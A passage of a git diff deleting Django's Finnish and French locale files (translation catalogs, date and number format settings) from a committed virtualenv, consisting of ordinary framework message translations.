-#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d päivä" -msgstr[1] "%(num)d päivää" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d tunti" -msgstr[1] "%(num)d tuntia" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuutti" -msgstr[1] "%(num)d minuuttia" - -msgid "Forbidden" -msgstr "Kielletty" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-vahvistus epäonnistui. Pyyntö hylätty." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Näet tämän viestin, koska tämä HTTPS-sivusto vaatii selaintasi lähettämään " -"Referer-otsakkeen, mutta sitä ei vastaanotettu. Otsake vaaditaan " -"turvallisuussyistä, varmistamaan etteivät kolmannet osapuolet ole ottaneet " -"selaintasi haltuun." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Jos olet konfiguroinut selaimesi olemaan lähettämättä Referer-otsaketta, ole " -"hyvä ja kytke otsake takaisin päälle ainakin tälle sivulle, HTTPS-" -"yhteyksille tai saman lähteen (\"same-origin\") pyynnöille." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Jos käytät -tagia tai " -"\"Referrer-Policy: no-referrer\" -otsaketta, ole hyvä ja poista ne. CSRF-" -"suojaus vaatii Referer-otsakkeen tehdäkseen tarkan referer-tarkistuksen. Jos " -"vaadit yksityisyyttä, käytä vaihtoehtoja kuten linkittääksesi kolmannen osapuolen sivuille." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Näet tämän viestin, koska tämä sivusto vaatii CSRF-evästeen " -"vastaanottaessaan lomaketietoja. Eväste vaaditaan turvallisuussyistä, " -"varmistamaan etteivät kolmannet osapuolet ole ottaneet selaintasi haltuun." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Jos olet konfiguroinut selaimesi olemaan vastaanottamatta tai lähettämättä " -"evästeitä, ole hyvä ja kytke evästeet takaisin päälle ainakin tälle sivulle " -"tai saman lähteen (\"same-origin\") pyynnöille." - -msgid "More information is available with DEBUG=True." -msgstr "Lisätietoja `DEBUG=True`-konfiguraatioasetuksella." - -msgid "No year specified" -msgstr "Vuosi puuttuu" - -msgid "Date out of range" -msgstr "Päivämäärä ei alueella" - -msgid "No month specified" -msgstr "Kuukausi puuttuu" - -msgid "No day specified" -msgstr "Päivä puuttuu" - -msgid "No week specified" -msgstr "Viikko puuttuu" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s: yhtään kohdetta ei löydy" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(verbose_name_plural)s: tulevia kohteita ei löydy, koska %(class_name)s." -"allow_future:n arvo on False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Päivämäärä '%(datestr)s' ei ole muotoa '%(format)s'" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Hakua vastaavaa %(verbose_name)s -kohdetta ei löytynyt" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Sivunumero ei ole 'last' (viimeinen) eikä näytä luvulta." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Epäkelpo sivu (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Lista on tyhjä, ja '%(class_name)s.allow_empty':n arvo on False." - -msgid "Directory indexes are not allowed here." -msgstr "Hakemistolistauksia ei sallita täällä." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" ei ole olemassa" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Hakemistolistaus: %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Asennus toimi! Onneksi olkoon!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Katso Djangon version %(version)s julkaisutiedot" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Näet tämän viestin, koska asetuksissasi on DEBUG = True etkä ole konfiguroinut yhtään URL-" -"osoitetta." - -msgid "Django Documentation" -msgstr "Django-dokumentaatio" - -msgid "Topics, references, & how-to’s" -msgstr "Aiheet, viittaukset & how-tot" - -msgid "Tutorial: A Polling App" -msgstr "Tutoriaali: kyselyapplikaatio" - -msgid "Get started with Django" -msgstr "Miten päästä alkuun Djangolla" - -msgid "Django Community" -msgstr "Django-yhteisö" - -msgid "Connect, get help, or contribute" -msgstr "Verkostoidu, saa apua tai jatkokehitä" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fi/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/fi/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fi/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fi/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index e9cbc135..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fi/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fi/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fi/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 219cc5e4..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fi/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fi/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/fi/formats.py deleted file mode 100644 index d9fb6d2f..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fi/formats.py +++ /dev/null @@ -1,36 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. E Y" -TIME_FORMAT = "G.i" -DATETIME_FORMAT = r"j. E Y \k\e\l\l\o G.i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "j.n.Y" -SHORT_DATETIME_FORMAT = "j.n.Y G.i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '20.3.2014' - "%d.%m.%y", # '20.3.14' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H.%M.%S", # '20.3.2014 14.30.59' - "%d.%m.%Y %H.%M.%S.%f", # '20.3.2014 14.30.59.000200' - "%d.%m.%Y %H.%M", # '20.3.2014 14.30' - "%d.%m.%y %H.%M.%S", # '20.3.14 14.30.59' - "%d.%m.%y %H.%M.%S.%f", # '20.3.14 14.30.59.000200' - "%d.%m.%y %H.%M", # '20.3.14 14.30' -] -TIME_INPUT_FORMATS = [ - "%H.%M.%S", # '14.30.59' - "%H.%M.%S.%f", # '14.30.59.000200' - "%H.%M", # '14.30' -] - -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # Non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/fr/LC_MESSAGES/django.mo deleted file mode 100644 index 108dbf07..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fr/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/fr/LC_MESSAGES/django.po deleted file mode 100644 index 34351cc4..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fr/LC_MESSAGES/django.po +++ /dev/null @@ -1,1395 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bruno Brouard , 2021 -# Simon Charette , 2012 -# Claude Paroz , 2013-2025 -# Claude Paroz , 2011 -# Jannis Leidel , 2011 -# Jean-Baptiste Mora, 2014 -# Larlet David , 2011 -# Marie-Cécile Gohier , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Claude Paroz , 2013-2025\n" -"Language-Team: French (http://app.transifex.com/django/django/language/fr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fr\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabe" - -msgid "Algerian Arabic" -msgstr "Arabe algérien" - -msgid "Asturian" -msgstr "Asturien" - -msgid "Azerbaijani" -msgstr "Azéri" - -msgid "Bulgarian" -msgstr "Bulgare" - -msgid "Belarusian" -msgstr "Biélorusse" - -msgid "Bengali" -msgstr "Bengali" - -msgid "Breton" -msgstr "Breton" - -msgid "Bosnian" -msgstr "Bosniaque" - -msgid "Catalan" -msgstr "Catalan" - -msgid "Central Kurdish (Sorani)" -msgstr "Kurde central (sorani)" - -msgid "Czech" -msgstr "Tchèque" - -msgid "Welsh" -msgstr "Gallois" - -msgid "Danish" -msgstr "Danois" - -msgid "German" -msgstr "Allemand" - -msgid "Lower Sorbian" -msgstr "Bas-sorabe" - -msgid "Greek" -msgstr "Grec" - -msgid "English" -msgstr "Anglais" - -msgid "Australian English" -msgstr "Anglais australien" - -msgid "British English" -msgstr "Anglais britannique" - -msgid "Esperanto" -msgstr "Espéranto" - -msgid "Spanish" -msgstr "Espagnol" - -msgid "Argentinian Spanish" -msgstr "Espagnol argentin" - -msgid "Colombian Spanish" -msgstr "Espagnol colombien" - -msgid "Mexican Spanish" -msgstr "Espagnol mexicain" - -msgid "Nicaraguan Spanish" -msgstr "Espagnol nicaraguayen" - -msgid "Venezuelan Spanish" -msgstr "Espagnol vénézuélien" - -msgid "Estonian" -msgstr "Estonien" - -msgid "Basque" -msgstr "Basque" - -msgid "Persian" -msgstr "Perse" - -msgid "Finnish" -msgstr "Finlandais" - -msgid "French" -msgstr "Français" - -msgid "Frisian" -msgstr "Frison" - -msgid "Irish" -msgstr "Irlandais" - -msgid "Scottish Gaelic" -msgstr "Gaélique écossais" - -msgid "Galician" -msgstr "Galicien" - -msgid "Hebrew" -msgstr "Hébreu" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croate" - -msgid "Upper Sorbian" -msgstr "Haut-sorabe" - -msgid "Hungarian" -msgstr "Hongrois" - -msgid "Armenian" -msgstr "Arménien" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonésien" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandais" - -msgid "Italian" -msgstr "Italien" - -msgid "Japanese" -msgstr "Japonais" - -msgid "Georgian" -msgstr "Géorgien" - -msgid "Kabyle" -msgstr "Kabyle" - -msgid "Kazakh" -msgstr "Kazakh" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Coréen" - -msgid "Kyrgyz" -msgstr "Kirghiz" - -msgid "Luxembourgish" -msgstr "Luxembourgeois" - -msgid "Lithuanian" -msgstr "Lituanien" - -msgid "Latvian" -msgstr "Letton" - -msgid "Macedonian" -msgstr "Macédonien" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongole" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malais" - -msgid "Burmese" -msgstr "Birman" - -msgid "Norwegian Bokmål" -msgstr "Norvégien bokmål" - -msgid "Nepali" -msgstr "Népalais" - -msgid "Dutch" -msgstr "Néerlandais" - -msgid "Norwegian Nynorsk" -msgstr "Norvégien nynorsk" - -msgid "Ossetic" -msgstr "Ossète" - -msgid "Punjabi" -msgstr "Penjabi" - -msgid "Polish" -msgstr "Polonais" - -msgid "Portuguese" -msgstr "Portugais" - -msgid "Brazilian Portuguese" -msgstr "Portugais brésilien" - -msgid "Romanian" -msgstr "Roumain" - -msgid "Russian" -msgstr "Russe" - -msgid "Slovak" -msgstr "Slovaque" - -msgid "Slovenian" -msgstr "Slovène" - -msgid "Albanian" -msgstr "Albanais" - -msgid "Serbian" -msgstr "Serbe" - -msgid "Serbian Latin" -msgstr "Serbe latin" - -msgid "Swedish" -msgstr "Suédois" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamoul" - -msgid "Telugu" -msgstr "Télougou" - -msgid "Tajik" -msgstr "Tadjik" - -msgid "Thai" -msgstr "Thaï" - -msgid "Turkmen" -msgstr "Turkmène" - -msgid "Turkish" -msgstr "Turc" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Oudmourte" - -msgid "Uyghur" -msgstr "Ouïghour" - -msgid "Ukrainian" -msgstr "Ukrainien" - -msgid "Urdu" -msgstr "Ourdou" - -msgid "Uzbek" -msgstr "Ouzbek" - -msgid "Vietnamese" -msgstr "Vietnamien" - -msgid "Simplified Chinese" -msgstr "Chinois simplifié" - -msgid "Traditional Chinese" -msgstr "Chinois traditionnel" - -msgid "Messages" -msgstr "Messages" - -msgid "Site Maps" -msgstr "Plans des sites" - -msgid "Static Files" -msgstr "Fichiers statiques" - -msgid "Syndication" -msgstr "Syndication" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Ce numéro de page n’est pas un nombre entier" - -msgid "That page number is less than 1" -msgstr "Ce numéro de page est plus petit que 1" - -msgid "That page contains no results" -msgstr "Cette page ne contient aucun résultat" - -msgid "Enter a valid value." -msgstr "Saisissez une valeur valide." - -msgid "Enter a valid domain name." -msgstr "Saisissez un nom de domaine valide." - -msgid "Enter a valid URL." -msgstr "Saisissez une URL valide." - -msgid "Enter a valid integer." -msgstr "Saisissez un nombre entier valide." - -msgid "Enter a valid email address." -msgstr "Saisissez une adresse de courriel valide." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Ce champ ne doit contenir que des lettres, des nombres, des tirets bas (_) " -"et des traits d’union." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Ce champ ne doit contenir que des caractères Unicode, des nombres, des " -"tirets bas (_) et des traits d’union." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Saisissez une adresse %(protocol)s valide." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 ou IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Saisissez uniquement des chiffres séparés par des virgules." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Assurez-vous que cette valeur est %(limit_value)s (actuellement " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" -"Assurez-vous que cette valeur est inférieure ou égale à %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Assurez-vous que cette valeur est supérieure ou égale à %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Assurez-vous que cette valeur est un multiple de la taille de pas " -"%(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Assurez-vous que cette valeur est un multiple de la taille de pas " -"%(limit_value)s, débutant à %(offset)s, par ex. %(offset)s, " -"%(valid_value1)s, %(valid_value2)s, etc." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Assurez-vous que cette valeur comporte au moins %(limit_value)d caractère " -"(actuellement %(show_value)d)." -msgstr[1] "" -"Assurez-vous que cette valeur comporte au moins %(limit_value)d caractères " -"(actuellement %(show_value)d)." -msgstr[2] "" -"Assurez-vous que cette valeur comporte au moins %(limit_value)d caractères " -"(actuellement %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Assurez-vous que cette valeur comporte au plus %(limit_value)d caractère " -"(actuellement %(show_value)d)." -msgstr[1] "" -"Assurez-vous que cette valeur comporte au plus %(limit_value)d caractères " -"(actuellement %(show_value)d)." -msgstr[2] "" -"Assurez-vous que cette valeur comporte au plus %(limit_value)d caractères " -"(actuellement %(show_value)d)." - -msgid "Enter a number." -msgstr "Saisissez un nombre." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Assurez-vous qu'il n'y a pas plus de %(max)s chiffre au total." -msgstr[1] "Assurez-vous qu’il n’y a pas plus de %(max)s chiffres au total." -msgstr[2] "Assurez-vous qu’il n’y a pas plus de %(max)s chiffres au total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -"Assurez-vous qu'il n'y a pas plus de %(max)s chiffre après la virgule." -msgstr[1] "" -"Assurez-vous qu’il n’y a pas plus de %(max)s chiffres après la virgule." -msgstr[2] "" -"Assurez-vous qu’il n’y a pas plus de %(max)s chiffres après la virgule." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Assurez-vous qu'il n'y a pas plus de %(max)s chiffre avant la virgule." -msgstr[1] "" -"Assurez-vous qu’il n’y a pas plus de %(max)s chiffres avant la virgule." -msgstr[2] "" -"Assurez-vous qu’il n’y a pas plus de %(max)s chiffres avant la virgule." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"L'extension de fichier « %(extension)s » n’est pas autorisée. Les extensions " -"autorisées sont : %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Le caractère nul n’est pas autorisé." - -msgid "and" -msgstr "et" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Un objet %(model_name)s avec ces champs %(field_labels)s existe déjà." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "La contrainte « %(name)s » n’est pas respectée." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "La valeur « %(value)r » n’est pas un choix valide." - -msgid "This field cannot be null." -msgstr "Ce champ ne peut pas contenir la valeur nulle." - -msgid "This field cannot be blank." -msgstr "Ce champ ne peut pas être vide." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Un objet %(model_name)s avec ce champ %(field_label)s existe déjà." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s doit être unique pour la partie %(lookup_type)s de " -"%(date_field_label)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Champ de type : %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "La valeur « %(value)s » doit être soit True (vrai), soit False (faux)." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" -"La valeur « %(value)s » doit être True (vrai), False (faux) ou None (vide)." - -msgid "Boolean (Either True or False)" -msgstr "Booléen (soit True (vrai) ou False (faux))" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Chaîne de caractères (jusqu'à %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Chaîne de caractères (illimitée)" - -msgid "Comma-separated integers" -msgstr "Des entiers séparés par une virgule" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Le format de date de la valeur « %(value)s » n’est pas valide. Le format " -"correct est AAAA-MM-JJ." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Le format de date de la valeur « %(value)s » est correct (AAAA-MM-JJ), mais " -"la date n’est pas valide." - -msgid "Date (without time)" -msgstr "Date (sans l’heure)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Le format de la valeur « %(value)s » n’est pas valide. Le format correct est " -"AAAA-MM-JJ HH:MM[:ss[.uuuuuu]][FH]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Le format de date de la valeur « %(value)s » est correct (AAAA-MM-JJ HH:MM[:" -"ss[.uuuuuu]][FH]), mais la date ou l’heure n’est pas valide." - -msgid "Date (with time)" -msgstr "Date (avec l’heure)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "La valeur « %(value)s » doit être un nombre décimal." - -msgid "Decimal number" -msgstr "Nombre décimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Le format de la valeur « %(value)s » n’est pas valide. Le format correct est " -"[JJ] [[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Durée" - -msgid "Email address" -msgstr "Adresse électronique" - -msgid "File path" -msgstr "Chemin vers le fichier" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "La valeur « %(value)s » doit être un nombre à virgule flottante." - -msgid "Floating point number" -msgstr "Nombre à virgule flottante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "La valeur « %(value)s » doit être un nombre entier." - -msgid "Integer" -msgstr "Entier" - -msgid "Big (8 byte) integer" -msgstr "Grand entier (8 octets)" - -msgid "Small integer" -msgstr "Petit nombre entier" - -msgid "IPv4 address" -msgstr "Adresse IPv4" - -msgid "IP address" -msgstr "Adresse IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" -"La valeur « %(value)s » doit être None (vide), True (vrai) ou False (faux)." - -msgid "Boolean (Either True, False or None)" -msgstr "Booléen (soit None (vide), True (vrai) ou False (faux))" - -msgid "Positive big integer" -msgstr "Grand nombre entier positif" - -msgid "Positive integer" -msgstr "Nombre entier positif" - -msgid "Positive small integer" -msgstr "Petit nombre entier positif" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (jusqu'à %(max_length)s car.)" - -msgid "Text" -msgstr "Texte" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Le format de la valeur « %(value)s » n’est pas valide. Le format correct est " -"HH:MM[:ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Le format de la valeur « %(value)s » est correct (HH:MM[:ss[.uuuuuu]]), mais " -"l’heure n’est pas valide." - -msgid "Time" -msgstr "Heure" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Données binaires brutes" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "La valeur « %(value)s » n’est pas un UUID valide." - -msgid "Universally unique identifier" -msgstr "Identifiant unique universel" - -msgid "File" -msgstr "Fichier" - -msgid "Image" -msgstr "Image" - -msgid "A JSON object" -msgstr "Un objet JSON" - -msgid "Value must be valid JSON." -msgstr "La valeur doit respecter la syntaxe JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" -"L’instance %(model)s avec %(value)r dans %(field)s n'est pas un choix valide." - -msgid "Foreign Key (type determined by related field)" -msgstr "Clé étrangère (type défini par le champ lié)" - -msgid "One-to-one relationship" -msgstr "Relation un à un" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Relation %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Relations %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Relation plusieurs à plusieurs" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Ce champ est obligatoire." - -msgid "Enter a whole number." -msgstr "Saisissez un nombre entier." - -msgid "Enter a valid date." -msgstr "Saisissez une date valide." - -msgid "Enter a valid time." -msgstr "Saisissez une heure valide." - -msgid "Enter a valid date/time." -msgstr "Saisissez une date et une heure valides." - -msgid "Enter a valid duration." -msgstr "Saisissez une durée valide." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Le nombre de jours doit être entre {min_days} et {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"Aucun fichier n’a été soumis. Vérifiez le type d’encodage du formulaire." - -msgid "No file was submitted." -msgstr "Aucun fichier n’a été soumis." - -msgid "The submitted file is empty." -msgstr "Le fichier soumis est vide." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Assurez-vous que ce nom de fichier comporte au plus %(max)d caractère " -"(actuellement %(length)d)." -msgstr[1] "" -"Assurez-vous que ce nom de fichier comporte au plus %(max)d caractères " -"(actuellement %(length)d)." -msgstr[2] "" -"Assurez-vous que ce nom de fichier comporte au plus %(max)d caractères " -"(actuellement %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Envoyez un fichier ou cochez la case d’effacement, mais pas les deux." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Téléversez une image valide. Le fichier que vous avez transféré n’est pas " -"une image ou bien est corrompu." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Sélectionnez un choix valide. %(value)s n’en fait pas partie." - -msgid "Enter a list of values." -msgstr "Saisissez une liste de valeurs." - -msgid "Enter a complete value." -msgstr "Saisissez une valeur complète." - -msgid "Enter a valid UUID." -msgstr "Saisissez un UUID valide." - -msgid "Enter a valid JSON." -msgstr "Saisissez du contenu JSON valide." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr " :" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(champ masqué %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Des données du formulaire ManagementForm sont manquantes ou ont été " -"manipulées. Champs manquants : %(field_names)s. Vous pourriez créer un " -"rapport de bogue si le problème persiste." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Veuillez soumettre au plus %(num)d formulaire." -msgstr[1] "Veuillez soumettre au plus %(num)d formulaires." -msgstr[2] "Veuillez soumettre au plus %(num)d formulaires." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Veuillez soumettre au moins %(num)d formulaire." -msgstr[1] "Veuillez soumettre au moins %(num)d formulaires." -msgstr[2] "Veuillez soumettre au moins %(num)d formulaires." - -msgid "Order" -msgstr "Ordre" - -msgid "Delete" -msgstr "Supprimer" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Corrigez les données en double dans %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Corrigez les données en double dans %(field)s qui doit contenir des valeurs " -"uniques." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Corrigez les données en double dans %(field_name)s qui doit contenir des " -"valeurs uniques pour la partie %(lookup)s de %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Corrigez les valeurs en double ci-dessous." - -msgid "The inline value did not match the parent instance." -msgstr "La valeur en ligne ne correspond pas à l’instance parente." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Sélectionnez un choix valide. Ce choix ne fait pas partie de ceux " -"disponibles." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "« %(pk)s » n’est pas une valeur correcte." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone 